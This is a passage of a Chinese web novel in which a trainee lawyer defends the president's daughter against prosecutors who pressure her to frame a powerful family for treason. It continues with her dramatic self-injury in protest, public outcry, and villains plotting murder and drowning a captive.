姜花衫白了胖子一眼,单手托腮,用胳膊肘顶了顶沈兰晞,几乎是用气音问道:“他是谁的人?” 刚才那沓资料太厚了,关系网一层叠一层,转得她头晕,索性就丢给了沈兰晞。现在,正是最强大脑派上用场的时候了。 毫无预兆地靠近,她的鼻息摩挲着耳膜。沈兰晞面无表情地压下眼底的兵荒马乱,微微侧过身体,小声道:“邓氏北湾豪族,周家的人。” “哦~”姜花衫点了点头,又靠近了一点,“那孙振呢?” 沈兰晞腰身僵直,眸光深沉地看了她一眼,见她两只眼睛都扑在对面两人身上,低头近乎贴着她的耳垂,声音极轻:“余斯文。” 比话语本身更先抵达的是温热酥麻的气息。 姜花衫一门心思扑在眼前的战场,试图理清这复杂的关系网,忽然感觉耳尖像是被细小的电流猝然击中,一阵奇异的酥麻感直逼大脑皮层。她几乎是本能地猛地捂住耳朵,倏然转头看向身侧—— 就这样,她撞入了一双近在咫尺的眼眸里。 沈兰晞并未退开,依旧保持着那个极近的距离,目光沉沉地锁着她。 此刻,他们两人的距离近到鼻尖几乎要碰到一起,彼此的呼吸在狭小的空间里骤然交缠。 会议室里的唇枪舌剑、检察官的逼问、陈律师谨慎周旋的声音……一切背景音都潮水般褪去,模糊成遥远的杂音。 时间仿佛在这一刻被无限拉长、凝滞。 “不可能!绝对不可能!” 忽然,一声歇斯底里的怒吼打破了两人之间的微妙氛围。 姜花衫被这声怒吼吓了一跳,此时也顾不上沈兰晞为什么这么反常,转头看向面前的余笙。 余笙已经站了起来,指着对面的一胖一瘦:“我提供的账户绝对不会有问题,有问题的是你们!!!” 陈律师脸色微变,立马起身拉住余笙,“你先冷静,不要被对方激怒了。” 邓承宪立马褪去假面的温和,冷声道:“余笙,你这是在质疑司法公正吗?你提供的那些境外账户,技术组的同事们已经破译。 汇入那些账户的资金的确曾经转入了余斯文名下,但几番周转洗白之后又原路返回。我们已经查过了,办理这些资金回流操作的关键指令和授权密钥,最终追踪到的IP地址和生物识别验证,都指向你本人!” “对此,余小姐有什么要解释的吗?” “……” …… 第770章 你们是来杀死真相的 “不可能!” 余笙毕竟只是二十出头的小姑娘,这一世还没有经历过身败名裂,不曾受万人唾弃、卧薪尝胆,面对这样的反转一时慌了神。 她张了张嘴,却忽然发现好似有人掐住了她的咽喉,发不出一点声音。 除了余斯文,这个世界上谁还能顺理成章拿到她的生物验证? 原来,她的父亲从她没有背叛的那刻起,就已经为她量身定制了天罗地网。 她,真是太愚蠢了。 陈律师见余笙状态不对,赶紧扶着她坐下。 一个案件若要想开庭立案,前期的举证环节很重要。现在证据峰回路转,若是余笙不能拿出强有力的证据指控余斯文,不能立案是小事,她有可能会面临污蔑总统和叛国洗钱两项指控,这是直接从原告变成了被告。 现场两位检察官的态度很明显是有失偏颇,情况不容乐观。 陈律师给余笙倒了杯热水,小声询问:“你还有别的证据可以补充指控吗?” 余笙勉强打起精神,细想了许久,眸光黯淡,摇了摇头。 当初她费了九牛二虎之力才从余斯文电脑里窃取到了账户信息,但现在却被告知她偷出的资料竟是反杀自己的筹码。父亲的棋路远胜她许多,她输在太年轻、太轻敌。 孙振早料余笙百口莫辩,故作姿态喝了一口水,“余小姐,容我提醒你一下,若是你不能解释清楚账户的原因,你的处境将很危险。现在司法就可以立案,以叛国罪、洗钱罪、散播不实言论罪、恶意污蔑罪等多重罪名将你缉拿归案。” 听见“叛国”两个字,余笙灰蒙的瞳孔微微收缩,手指无意识地蜷缩起来,指甲深深掐入掌心。 历经千辛万苦就是不想当叛国贼,可到底还是事与愿违。 邓承宪时刻都在关注余笙的状态,见她心态不若之前从容,缓和了神情,带着一种循循善诱的腔调: “余小姐,数十个账户来回操作,所涉及的资金、人脉超乎想象。据我所知,以你现有的能力不可能独立完成,这背后必然有更庞大的网络和更资深的操纵者。” 他身体微微前倾,营造出一种推心置腹的错觉:“若是你愿意配合检方调查,指认真正的幕后主使,并提供相关情报,我们会根据你的合作态度,向法院申请为你转为污点证人。” 余笙微愣,抬起眼审视眼前的男人,“污点证人?” 邓承宪摊开双手,“比如,是谁帮着你策划了直播绑架案?你是否是被人蛊惑、威胁?听说,你曾因为你的父亲想让你和苏家少爷联姻和他大吵了一架,这是否是你与你父亲反目的重要原因?” 余笙眸光微亮,坐直了身体。 邓承宪心知鱼饵已经上钩,带着上位者的优越感,“你曾经在日记里提到过有个爱而不得的人,那么你与父亲反目是否也是因为这个人?他是否知道你的所作所为,或者他与叛国洗钱案有没有关联?” 听到这里,余笙慢慢阖眼,整个人安静得不像话。 她只是年轻,但并不愚钝,何况这个男人根本没有遮掩,就差没有直接言明要她指认沈归灵了。 这些人根本就不是来替她伸张正义的,他们想踩着她的脊梁去攀咬沈家。名利场的这局棋里,没有人在意她的生死,甚至没有人在意什么真相,他们在最后一刻还在为权利厮杀。 如果说,余斯文从一开始就为她设下死局让她心灰意冷,那么看透这个世界的冷漠就是将她推入深渊的最后一根稻草。 这样的人间,根本不值得留恋。 孙振见状也在一旁补充,语气带着威胁:“邓检察官给你指了一条明路,要不要走?就看余小姐自己了。叛国是重罪,一旦成立,最低量刑也是终身监禁,甚至可能是死刑。想想清楚,维护一个利用你、让你身陷囹圄的人,是否值得?” 邓承宪点头,作出一副惋惜的样子,“你还很年轻,未来的路很长,何必为他人背负这一切?” 陈律师并不知道余笙日记里暗恋的是谁,但两位检察官明显有暗示成分。他担心余笙被对方牵着鼻子,立刻低声说道:“不要轻易承诺任何事。污点证人的协议必须极其谨慎,我们需要看到具体条款。” 余笙低着头,没有一点儿反应。 与此同时,沈兰晞和姜花衫都沉了脸,面无表情地看着余笙的背影。 尤其是姜花衫,对面两个暂且可以忽视,她实在很想知道,一直遵循“精致的利己主义”的余笙,在这样的境地会怎么选择? 平心而论,余笙能凭一己之力走到这里已经很不容易了。对方实力强大,不管她怎么选择,姜花衫都是能理解的。 气氛再次陷入僵局。 孙振与邓承宪交换了一个眼神,后者带着胜券在握的微笑,十分贴心地问道:“我们可以给余小姐十分钟思考时间,希望……” “不用!”余笙抬眸,黯淡的眼眸泛着一丝麻木,“我现在就可以回答。” “余小姐!” 陈律师正想阻止,却被邓承宪用眼神威慑了回去,“陈律师,容我提醒一句,你的职责是替委托人争取最高权益,而不是阻碍司法公正。” 陈律师沉下脸,转身朝余笙摇了摇头。 “他说的没错,陈律师,你不用替我辩护了。” 余笙缓缓站起身。正当对面两人以为她要妥协时,余笙猛地拿起桌上的一杯温水,对着对面的两个衣冠禽兽砸了过去! 她声嘶力竭地怒吼: “真正叛国的是谁?是那个窃据高位,却用国家机器为自己扫清障碍、铲除异己的余斯文!你们不去抓他,却对着我一审再审,A国权利落在你们这些鬣狗手里真是可悲!” “我控诉的是国之根本的存亡问题,但你们却一再揪着我的私事企图混淆视听!你们在侮辱我,不!你们平等地看不起每一个女生,你们给我们安上的罪名永远都是因为男人背叛、亦或是受人蛊惑的菟丝花!你们不是来调查真相的!你们是来杀死真相的!” …… 第771章 实习律师姜花衫,很高兴为您服务 水花和玻璃碎片四溅,两人猝不及防被泼了一身,狼狈地向后躲闪,他们被余笙字字泣血的控诉怼得哑口无言,许久之后才反应过来,脸上伪善的面具瞬间碎裂,只剩下惊怒。 邓承宪一脚踢开脚下的玻璃残渣,直指着余笙,盛气凌人,“你竟然攻击检察官?!罪加一等!” 孙振稍稍理智一些,转身朝门外大喊:“来人,有人袭击检察官!” 蔡严一直守在门口,听见里面传来激烈的争执声,正推门准备进去抓人。不想刚推开一条门缝,迎头撞见一个活祖宗堵在门口。 两人对视的数秒,姜花衫握着门把手,什么话都没说,但面无表情的眼神里意味明显。 “……” 蔡严哪还有不明白的,两眼一黑只当什么都没看见,砰的一声门又关上了。 身后的警卫员一头雾水:“署长,怎么不进去啊?听声音里面好像快要打起来了。” 蔡严擦了擦额头的冷汗,回头瞪了警卫员一眼:“你懂什么?取证本来就是有问有答,不过是声音大了点,很正常。” 警卫员:“?” * 孙振嚎了半天也不见有人进来,这才反应出不对劲,抬眸看向会议大门,见有人堵在门口,当即抬手点着姜花衫:“那个谁?!你做什么?还不开门把人放进来?!” 姜花衫充耳不闻,顺手将门反锁,转身走向会议主桌。 沈兰晞早在姜花衫起身堵门的时候就跟着站了起来,见她向自己走来,还以为她打算继续旁听。不想,姜花衫直接越过桌椅,走到陈律师座位边。 “师父,这种小场面还是交给我应付吧?您坐后面休息。” 余笙眼里原本燃着鱼死网破的怒火,冷不丁听见这熟悉的声音,表情僵滞,难以置信地转头看向身侧。 陈律师看了对面两人一眼,给了个自求多福的眼神,捂着突突直跳的小心脏,默默挪出座位,临走时还不忘小声叮嘱:“低调,低调。” 姜花衫只当没看见,笑着向余笙伸手示好:“你好,金牌律师事务所实习律师姜花衫,很高兴为您服务。” 余笙眼里的愤怒顷刻间化作满腔心酸。面对孙振和邓承宪的步步紧逼,她尚有能力为自己搏命一拼,但看见姜花衫的这刻,她忽然绷不住了。 没有人知道姜花衫此时的伸手对她意味着什么? ——那是绝望深渊里忽然降临的一束光。 就在刚刚的前一秒,她已经打算抱着必死的决心同所有人玉石俱焚,反正没有人在乎真相,也没有人在乎她。 可现在,她忽然觉得还可以再挣扎一下。 万一有人在寻找真相呢? 万一还有人在乎她呢? 余笙咬了咬牙,颤巍巍伸出一只手,轻轻握进姜花衫的掌心。 她的手一直在抖,回握的力道却不轻。 一个实习律师竟然把鲸港赫赫有名的金牌律师赶回了候补区? 这丫头什么来路? 孙振和邓承宪越看姜花衫越觉得眼熟,但偏偏就想不起在哪里见过? 姜花衫十分淡定地收回手,指着一旁的座位:“坐。” 余笙看了她一眼,默默坐了回去。 孙振和邓承宪不觉大跌眼镜,一句话就让已经暴走的余笙言听计从,这丫头什么来路? 忽然,孙振又想起刚刚姜花衫堵门那一幕。 对了,刚刚这丫头好像一个眼神就把蔡严轰出去了! 他心中不觉起了疑。蔡严是什么人?这里可是他的地盘,能让他如此忌惮,这丫头只怕来历不小。 孙振这个人向来严谨,感觉不妙便故作含糊,跟着坐回了原位。 邓承宪并未注意到堵门的小插曲,他本身就是地方望族,又有周家做靠山,自然受不得这种闲气,指着地上的碎渣义愤填膺:“余笙,我告诉你,公然袭击检察官可是重罪,可是要坐牢的!” “胖……咳咳!” 姜花衫微微偏头,想了一会儿实在想不起对方叫什么,只得折中道,“这位胖检察官,根据A国《刑法》第二百七十七条,妨害公务罪或者更严重的袭警罪,客体要件要求的是行为人以暴力、威胁方法阻碍国家机关工作人员依法执行职务。请问,我的当事人余笙女士,刚才使用了何种‘暴力’或‘威胁方法’?” 邓承宪愣了愣,这才反应过来对面那死丫头是在反驳他。他正要开口,姜花衫淡淡瞥了一眼他衬衫上的水渍,根本不给他机会。 “一杯不慎打翻的温水,以及一个因情绪激动而失手滑落的玻璃杯,这似乎更符合《治安管理处罚法》中关于故意损毁财物或扰乱机关秩序的范畴,且情节显著轻微。更重要的是——” 姜花衫的声音陡然清晰冷冽起来,像冰片刮过玻璃:“二位当时正在进行的是问询取证,并非已然进入‘强制执行职务’阶段!而我的当事人,是在遭受了二位关于‘叛国罪’、‘死刑’等极具威慑性和引导性的言论压迫后,出现了明显的应激反应!” 说着,又学着他们之前高高在上的样子,双手一摊:“从医学和心理学的角度,这更倾向于一种精神受压后的失控行为,而非主观故意的‘袭击’。你如果再有胁迫言论,我将要质疑你的专业性。” 邓承宪被怼得脸色一阵红一阵白:“狡辩!” “是吗?”姜花衫微微一笑,那笑容里却毫无暖意。 “如果你坚持要追究这‘一杯水’的责任,我当然会全力配合我的当事人接受调查。不过,届时庭审辩论的焦点,恐怕将不得不围绕二位在问询过程中是否存在诱供、逼供,以及言语威胁等不当行为展开。相关的录音录像资料,以及我的当事人的精神状态评估报告,将会成为主要证据。你!” 她抬手指着对方的眉心,像狙击手瞄准围猎的心脏。 “或者你们!确定要启动这个程序吗?” …… 第772章 我的真理就拜托你了 漂亮! 会议室里陷入一片针落可闻的寂静,所有人的呼吸都仿佛被无形的手掐住了。然而坐在一旁的陈律师却激动得指尖发颤,差点就要拍案叫绝。 条理清晰,字字见血,每一句都精准钉死在对方的软肋上。这位姜小姐哪里是来旁听的?根本就是一把刚刚开了刃的妖刀,寒光四溅、杀气逼人! 三年前她大战高级检察官时还带着几分青涩,如今却已然蜕变成一把能斩开迷雾的利刃! 最难得的是,她身上完全没有寻常律师那种瞻前顾后的畏缩。法律圈从来都讲究人情世故,检察官和律师之间自有一套心照不宣的默契,多数人宁可输掉案子也不愿撕破脸皮。 可姜花衫偏偏不管这些,她就像突然闯进棋局的快枪手,根本不在意棋盘下的暗流涌动,抬手就直接掀了棋盘! 天才!这根本就是为法庭而生的怪物! 陈律师只觉得热血沸腾,忍不住用手肘撞了撞身旁的沈兰晞,压低的嗓音里全是抑制不住的兴奋:“沈少,姜小姐这天赋学画画简直是暴殄天物!就该来读法律!就她这见佛杀佛的脾气,绝对能把那些魑魅魍魉全杀穿!” 沈兰晞正凝望着姜花衫的侧影出神,猝不及防被这么一撞,墨色的眼眸缓缓移过来,没什么情绪地落在陈律师脸上。 “!” 陈律师一腔热血瞬间被这眼神冻成冰碴。他猛地清醒过来——自己刚才居然用胳膊肘捅了沈家继承人?! 他急中生智,慌忙转移话题:“沈、沈少,眼下最麻烦的还是证据链的问题。如果余笙解释不清账户的异常流动,恐怕当场就要被收押。您说……姜小姐能有办法破局吗?” 阳光透过百叶窗割裂光影,映得沈兰晞的侧脸明明灭灭。他并未立即回答,目光却重新落回那个站在光影交错处的身影上。 虽然姜花衫在气势上震慑了对面两人,但关键问题还是没有解决。 余斯文早已布下死局,余笙醒悟得太晚,如今身在局中已经没有选择,要么嫁祸沈归灵攀咬沈家,要么独自扛下这叛国的污名。她不可能不知道眼前的僵局,这个时候横插一脚,一定是想好了对策。 但不用沈家的权势,就凭一个‘实习律师’,她能如何扭转? 邓承宪从未被如此打脸,许久后才反应过来,气得面容扭曲,“你……” 孙振也是半天才回过神,立马按住几乎要跳起来的邓承宪,强作镇定地打圆场:“小姜律师言重了,一点小意外,没必要上纲上线。我们还是回归正题,就案论案。” 姜还是老的辣,他给了邓承宪一个稍安勿躁的眼神,便又将话题拉回对他们有利的轨道,“余小姐情绪激动我们可以理解,但涉案账户的生物验证信息确凿,这一点她必须给出合理解释!” 陈律师眉头紧蹙,果然!检察官也不是吃素的。 余笙双拳紧握,眼里带着倔强和不甘,“我怎么会知道为什么会这样?我根本没有做过,我……我是被冤枉的。” 她心中有万千委屈,最后只化作了庭前最没有力度的一句。 邓承宪记恨着方才的打脸,嗤笑一声,语带刻薄,“余小姐,凡事讲证据,要是所有犯罪嫌疑人都这么替自己申辩,要法庭和法官有什么用?” “你……”余笙怒视邓承宪,正要开口反驳。 姜花衫轻轻拍了拍她的手背,将自己面前的水推给余笙,“余小姐,喝杯水冷静一下。” 余笙侧头看向姜花衫,忽然目光僵滞,眼里闪过一抹微光后神情麻木地端起水杯。 邓承宪挑了挑眉,阴阳怪气,“是啊,余小姐还是听你的实习律师的话,若是再不小心砸了杯子,我们就不得不根据你的行为能力评估你的精神状态了,毕竟,精神失常的人在法庭的证供可信度几乎为零。” 邓氏是豪族,邓承宪利用公职欺压原告也不是一两天的事,他就是看准会议室里都是些蝼蚁才敢如此放肆,就比如眼前这个实习律师,敢跟他作对,只要出了这个门,他有一百种方式让她在鲸港消失。 “你胡说!”余笙猛地一拍桌面,再次不受控制地站了起来,声嘶力竭与邓承宪对峙,“我的精神状态很好,我不是精神病!叛国的不是我,是余斯文!你们去抓他啊!” “余小姐。”姜花衫一脸担忧,试图安抚她,“你冷静,不要被他们的话影响。” 这怎么又炸了?孙振一时还没看明白,拍了拍桌子,指着余笙,“余笙,我们问什么你就答什么,不要答非所问。” 邓承宪就是想逼得余笙走投无路,抓紧时机落井下石,“余笙,我们可是给过你机会了,你如果还是这样的态度,且拿不出证据推翻证据的指向,我们只能按事实报告了。到时候,你可就没有选择了?” 见余笙脸上的表情愈加惶恐,他冷笑了一声,“一旦叛国罪被立案,你作为被告这一生都将背负洗不清的污点,到时候就算是死,也会成为A国的罪人,受万民唾骂。” “啊!!!” 余笙抱着头,痛苦地尖叫,这一声打断了所有逼迫。 她抬起头,满目泪痕,眼底却烧着一种近乎绝望的火焰。 “我可以死!也不惧一死,但你们记住,即使把我送上叛国的断头台,我也永不认罪!我妥协,是因为我对这个举目肮脏的世界失望,是因为你们所有人埋藏了真相!我……会带着真相在地狱等着你们!!!” 说完,不等所有人反应,她怀着满腔悲愤撞向了检察官面前的桌角。 “砰——” 一声闷响,真理的冰山真的被血水撞开了! 看着这满地血水,姜花衫脑子一片空白。沈兰晞脸色骤变,在所有人还没反应过来时,快步向姜花衫走了过去。 就在他即将抓住她的时候,姜花衫忽然回神,转身冲上前抱住余笙。 “你……” 余笙半张脸已经被血水染红,但那双眼睛却比万千星辰还耀眼,她艰难地聚焦于姜花衫,嘴角带笑:“我愿以死明志,我的真理就拜托……拜托你了,小姜……律……律师……” 姜花衫猛地一把抱住余笙,闭了闭眼,用尽力气嘶吼,“来人啊!检察官逼死了我的当事人!!!” …… 第773章 心之所悟即为永恒 短短半个小时,余笙被两位高级检察官逼得血溅当场、以死明志的消息,就不胫而走。 一开始还有人质疑是有人散布小道消息,企图动摇人心,直到一段现场取证环节的视频被曝光。 视频里,两位检察官对着年轻的女孩咄咄相逼,他们用词险恶、独断专行,女孩几度崩溃,最后用生命发出呐喊:“我也永不认罪!!我会带着真相在地狱等着你们!” 一声呐喊,引起了无数人的共鸣。 她一朝从神坛落下,这些人就踩着她的骨血往上爬。总统的女儿想要追寻真理尚且如此困难,何况是一个普通人? 他们在隐藏什么?真相到底是什么?公道又在哪里? 万千A国民众勃然大怒,纷纷上书总统府和监管局,要求罢免涉事两名检察官,并追究两人恶意逼供致人重伤的罪名。 不仅如此,A国四洲各地同时爆发声援余笙的运动。这些人大多是学生、律师,他们不远万里赶到鲸港,驻守在鲸港医院外,高呼着“还我真理”的口号,为余笙筑起一道坚实的万民墙。就连蹲守在医院门外的新闻媒体都被拦在外面。 姜花衫看着窗下熙熙攘攘的人群。她知道这场“剧目”她又一次迎来了高潮,可不知为什么,这次却没有想象中那么开心。 她每次闭上眼,画面里都是余笙血溅当场的模样。没有人知道,在余笙撞向桌角的那一秒,她眼中的场景瞬息万变——三维的视角褪成黑白线稿,唯有那片殷红不曾褪色,灼目如初。 这大概就是余笙给她的震撼吧? 她拯救余笙的同时,也被她狠狠地上了一课。 她早就知道对面两人一定会咬死证据逼迫余笙。想要不拖沈家下水,那就只能让余笙置之死地而后生。于是,她用指尖沾了水渍,在桌上写下“以‘死’明志”四个字。 以余笙的聪明,怎会不明白加了引号的“死”不过是一场戏?但她却假戏真做,一头撞向了她真理的冰山。 那一刻的冲击前所未有,好似有谁轻轻擦去了蒙在她眼前的尘埃。也正是在那一刻,她突然醒悟了一件事:她一直把所有剧情当成规定剧目在反抗,但这些在她眼里被虚构的剧情,却是余笙活生生的一生。 哪怕她是作为纸片人在这个世界生存,这场戏,就是她的一生。 所以什么是真?什么是假? 她的震撼感动是真的,余笙的滚烫鲜血是真的。 不管处宇宙之大,还是困尘埃之末,心之所悟即为永恒。她能感受到的,都是真的。 她不能再以戏剧之心对待他们,他们也是活生生的存在。余笙自己抹去了“死”字上的引号,因为这是她的人生,她每一秒都在认真努力地活着。 姜花衫深吸了一口气,慢慢拉上窗帘,转身走到余笙的病床前,眼里带着笑意轻声道:“你赢了。你无惧死亡的勇气让所有人都看到了你,大家都需要真相。你可以放心了,这次你不会再是一个人。” “阿笙!” 门外忽然传来一声惊呼,姜花衫刚抬起头,便看见苏韵神色紧张地冲进了病房。 她似乎没想到姜花衫也会在这里,脚步稍滞,但很快又恢复清醒,快步跑到病床前。见余笙额头上缠着厚厚的纱布,伤口处还渗着血迹,眼神不由得一黯。 “你应该再等等我的。”苏韵轻轻托起余笙的手,声音哽咽,“阿笙,我已经说服爷爷了,苏家一定会为你查明真相的,你千万不要放弃啊。” 姜花衫有些诧异看了苏韵一眼。若是她没有记错,当初余笙被放逐S国,苏老爷子可是从头到尾都没有露过面。 看来,因为剧情偏差,所有人都在潜移默化地改变。 姜花衫和苏韵并不熟,也没有要联络感情的意思,便把空间留给这对小姐妹,自己转去了隔壁间的休息室。 她从公文包里拿出一叠资料。既然余笙已经委任她作为辩护人,她就必须做好本职工作,务必让她堂堂正正地站在司法之下。 余笙现在没有家人。整个余家因她指控亲生父亲,亲族都骂她是白眼狼,就连这次抢救住院的医药费都是沈家暂时垫付的。因此现在,姜花衫需要递交一份材料,向法院申请由检察院拨款,负责余笙的所有康复费用。 钱倒是小事,重要的是这份材料一旦获法院批准,就意味着承认了检察院的失职。以后检察院再想派人来取证,可就由不得他们说了算了。 姜花衫只给了一个方向,具体操作和起草一律交给了身后的金牌律师团。这件事背后牵扯的人太多,她来做这个出头鸟,比其他人更合适。 * 与此同时。 周家。 邓承宪跪在地上,吓得冷汗直流,“老爷子,求您救救我吧!那些刁民不知道从哪知道了我的住址,成群结队堵在我家门口,弄得我现在有家不能回,连儿子上学都被人打了!” 周国潮闭目养神,神色淡漠,“鲸港你是混不下去了。收拾包袱滚回北湾吧,记住!回去之后给我夹着尾巴做人。” 邓承宪顿时心如死灰。他原本还想挣扎,但抬眸看了周国潮一眼,只能把求情的话咽了回去。 “多谢老爷子指路。” 邓承宪起身告辞,忽然想到什么,又折返回去,“老爷子,这事都怪那个实习律师!还有蔡严也有问题!没有他的默许,警署厅的视频怎么会泄露?这是有人在给咱们做局!” “啪——” 周国潮缓缓抬眸,掌心的檀珠相撞发出清脆的响声,“蠢东西,你连沈家的招牌都没认出来?别说现在只是革职查办,就算丢了脑袋也不冤。” 招牌? 邓承宪绞尽脑汁回想了许久,终于,那位小姜律师指着他的眼神,和三年前在法庭上杀疯全体检察官的眼神慢慢重合…… “……” 这么重要的名字,他怎么在关键时候就给忘了。 邓承宪不觉倒吸了一口凉气,“那和她一起的那个年轻人是……” 沈家招牌? 沈家太子爷,沈兰晞? 他竟然当着沈家人的面挑唆余笙嫁祸沈家人? 周国潮站起身,“你现在知道你闯了多大的祸了?还不滚?” 邓承宪受不住这么大的刺激,两眼一闭晕了过去。 …… 第774章 赶狗入穷巷 总统台上空仿佛压着一团铅云,连空气都凝滞得令人窒息。 墨绿色的丝绒窗帘将窗外最后一丝天光吞没,书房内一片昏沉。余斯文深陷在黑色皮椅中,指尖夹着的雪茄明灭不定,猩红的火点映照着他那双如同困兽般凶狠的眼睛,烟雾缭绕中,他的面容晦暗不明。 “先生。”秘书长步履急促地闯入书房,声音里带着难以掩饰的慌乱,“医院刚传来消息,余小姐……已经脱离生命危险了,还有这个……” 说着,他急忙将平板电脑呈到余斯文面前,屏幕上正在播放一段视频。 画面中,姜花衫作为余笙的代理律师,正以第一视角犀利地控诉两位检察官的失职:“下次取证环节,请先自查蛆虫,免得又酿造人间惨剧!” 少女的声音清晰而冰冷,在寂静的书房里回荡,每一个音节都砸在人心上。 “完了完了!!” 角落里的孙振猛地站起身,像热锅上的蚂蚁般来回踱步,“我早就说过那丫头不对劲!都怪邓承宪那个蠢货!要不是他自作主张,事情怎么会闹到这个地步?先生,我们现在该怎么办?” 雪茄的火星骤然亮起,余斯文闭上眼,深吸一口气,将雪茄狠狠摁进水晶烟灰缸里,发出细微的嗤响。 “怎么办?!” 余斯文突然转身,平日里春风和煦的面具早已碎裂殆尽,连日的挫败让他彻底失了耐心,“我早就警告过你,阿笙背后肯定有人指点,对付她必须万分谨慎!现在搞成这样,你倒来问我怎么办?!” 他一步步逼近孙振,目光如刀:“我提拔你,看中的就是你的谨慎。结果呢?你居然敢当着沈家人的面嫁祸沈归灵!你是活腻了,还是嫌我现在的麻烦不够多?!” 孙振吓得浑身一颤,低头连声道:“是属下的错,求先生再给一次机会……” 余斯文盯着他看了片刻,忽然缓和了神色,语气平静得可怕:“事已至此,鲸港你是待不下去了。今晚就准备一下,我安排人送你离港。” “离港?”孙振一脸错愕,犹豫道:“先生,我……” “怎么?”余斯文轻笑一声,镜片后的目光却冷得骇人,“还舍不得鲸港的前程?现在走,至少能留条活路。等沈家追究起来,你连怎么死的都不知道。” 孙振咬了咬牙,终是躬身:“属下遵命。这些年来承蒙先生关照,只求先生……妥善安置我的家人。” 余斯文摘下金丝眼镜,抽出胸前的丝巾,慢条斯理地擦拭着镜片:“这是自然。” 孙振如释重负地深鞠一躬,转身退出书房。 门扉合拢的刹那,余斯文随手将丝巾扔进垃圾桶,重新戴好眼镜。镜片反射出冰冷的光,遮住了他眼底嗜血的阴鸷。 “等他出了总统台再动手。” “是,先生。”秘书脸上毫无波澜,转身走出了书房。 余斯文深吸一口气,那口浊气仿佛带着铁锈味。 他走到书桌前,并未使用桌上的常规通讯设备,而是弯腰打开了最底层一个上了锁的抽屉,从里面取出一部造型古朴、没有任何标识的黑色通讯器。他指尖几不可察地顿了一下,随即按下了一个经过无数次加密的单一频道。 线路接通的声音冗长而单调,响了足足七八声,就在余斯文几乎以为不会有人接听时,那边终于被接起。 余斯文喉结滚动,率先开口,“……情况有变!阿笙没有死,沈家也知道了我们的预谋,舆论对我也极其不利……” “废物!” 一个被特殊处理过、冰冷扭曲如同金属摩擦的电子音骤然打断了他,那声音不高,却带着极强的穿透力和毫不掩饰的鄙夷,“余斯文,我们给了你那么多资源,你却连沈家一个养女都斗不过,你到底是怎么坐上总统职位的?” 余斯文的指节瞬间捏得发白,手背上青筋暴起。他死死咬着牙关,镜片后的眼睛紧闭了一瞬,再睁开时,已强行将那滔天的怒火压制成一片死水。 “……是我的失误。我会尽快弥补,清除所有隐患。”他的声音从齿缝里挤出来,带着极力压制后的平稳。 “清除?你现在还能清除谁?”电子音冷笑,每一个字都像冰锥,“事情闹得这么大,沈家必然已经警觉!你现在任何轻举妄动,都是在自掘坟墓!” 余斯文沉默下去,额角有细微的汗珠渗出。他听得懂对方的潜台词:他现在不仅没能解决问题,反而成了一个极易引爆的麻烦。 “我会解决孙振。” 只要沈家查不出他和孙振的关系,就一定会把火力点对准周家,毕竟整个鲸港上层圈的人都知道邓氏家族背后的主子是周家。 通讯器那头沉默了片刻,似乎也在评估局势。过了好几秒,那冰冷的电子音才再次响起,“你杀了孙振也不过是拖延时间,沈家早晚会揪出你。不过,能拖一时算一时吧,毕竟你现在的利用价值也不多了。” “我可是听从你们的安排才得罪沈家的,难道你们……” “嘟——嘟——嘟——” 不等他说完,通讯被毫不留情地切断,只剩下一片忙音。 “……” 余斯文腰身微躬,握着通讯器的手颤抖得厉害。他站在原地良久未动,一种前所未有的恐惧席卷而来。 窗外,铅云压得更低了,仿佛要将整个总统台碾碎。 他缓缓直起身,摘下眼镜,用力捏着眉心,脸上最后一点血色也褪尽了。片刻后,他打开手机,点开姜花衫刚刚那段新闻采访,眼底是深不见底的寒潭。 “我好不容易走到现在,谁都别想拦我的路,神挡杀神,佛挡杀佛。” …… 第775章 疯年 S国与A国隔着两个小时的时差。此时,半山别墅正浸在黄昏里,落日熔金,将天际晕染成一片粉蓝交融的调色盘,瑰丽得像一场虚幻的梦。 沈年刚挂了电话,屏幕的微光从他眼底褪去。他转头,视线投向波光粼粼的泳池。 几名壮汉粗暴地将沈归灵一次又一次地摁进冰冷的水中,水花从最初的剧烈扑腾变得微弱无力,沈归灵的身体软了下来,显然已耗尽了最后一丝气力。 泳池边,新一轮的折磨刚刚结束。 沈年唇角勾起一丝不易察觉的弧度,心里那口郁结的恶气总算舒缓了些。 他朝那边递了个眼色,为首的男人立刻会意,挥手让人将沈归灵从水里拖了出来,像丢一袋破布般重重扔在沈年脚下的瓷砖上。 沈归灵瘫在地上,浑身湿透,狼狈不堪地呛咳着,水珠不断从发梢滴落。 “还有气?”沈年慢条斯理地蹲下身,伸手一把攥住沈归灵的头发,迫使她抬起脸,“你运气不错,余笙半死不活,只怕暂时没空指认你了。” 沈归灵一脸嫌弃地甩了甩头,挣脱他的钳制,眼神带着毫不掩饰的鄙夷,“应该说是你运气不错,这不正好遂了你的心意?” 沈年眼睑微眯,锐利的目光在她脸上逡巡了许久,最终从喉咙里滚出一声低笑,“没错。的确正合我意。” 他凑近了些,声音压得更低,带着毒蛇般的嘶嘶声,“沈归灵,我可不是李儒那个老匹夫,没他那么好骗。别以为我不知道,你这么爽快地签字,合同上一定动了手脚吧?” 沈归灵嘴角扯动了一下,没有承认,也未否认。 沈年并不期待她的回答,继续道:“沈家你可以不在乎,但姜花衫呢?”他故意拖长了音调,欣赏着对方细微的表情变化,“当初为了她,你是怎么威胁我的,忘了?” 听到“姜花衫”三个字,沈归灵的眼神骤然冷了下去,仿佛结了一层寒霜。“你既然知道,为什么不告诉李儒?” 沈年无所谓地耸了耸肩,“我为什么要告诉那个老东西?我姓沈,又不姓李。”他的表情忽然变得认真而阴沉,“沈家要是真成了卖国贼,以后我继承了家业,对我又有什么好处?” 沈归灵像是听到了极其荒谬的笑话,笑出了声,“你?继承家业?” 笑声里充满了讥讽。 沈年的脸色瞬间阴沉得能滴出水来。他猛地揪住沈归灵的衣襟,将她拉近自己,那双眼睛里翻涌着扭曲的恶毒,“你笑什么?觉得我不配?!” 他几乎是嘶吼出来,“只要沈兰晞、沈谦都死了!沈家就是我的!” 沈归灵迎着他疯狂的目光,冷冷提醒道:“不是还有沈清予?那家伙虽然也是个傻逼,但比你还是绰绰有余。” “……”沈年的怒气骤然暴涨,“那我就连他一起杀!” “那还有沈让、沈渊呢?哦,还有沈娇、沈眠枝……”沈归灵继续补充,像是在念一份死亡名单。 沈年额角青筋暴跳,咬牙切齿,每一个字都浸着狠毒:“那我就一个一个地杀,杀干净为止!他们都得死!就像沈亦泽和沈亦杰那两个蠢货一样!他们天真地以为我能帮他们回沈家?可笑!沈家人除了我和爷爷都要死!” 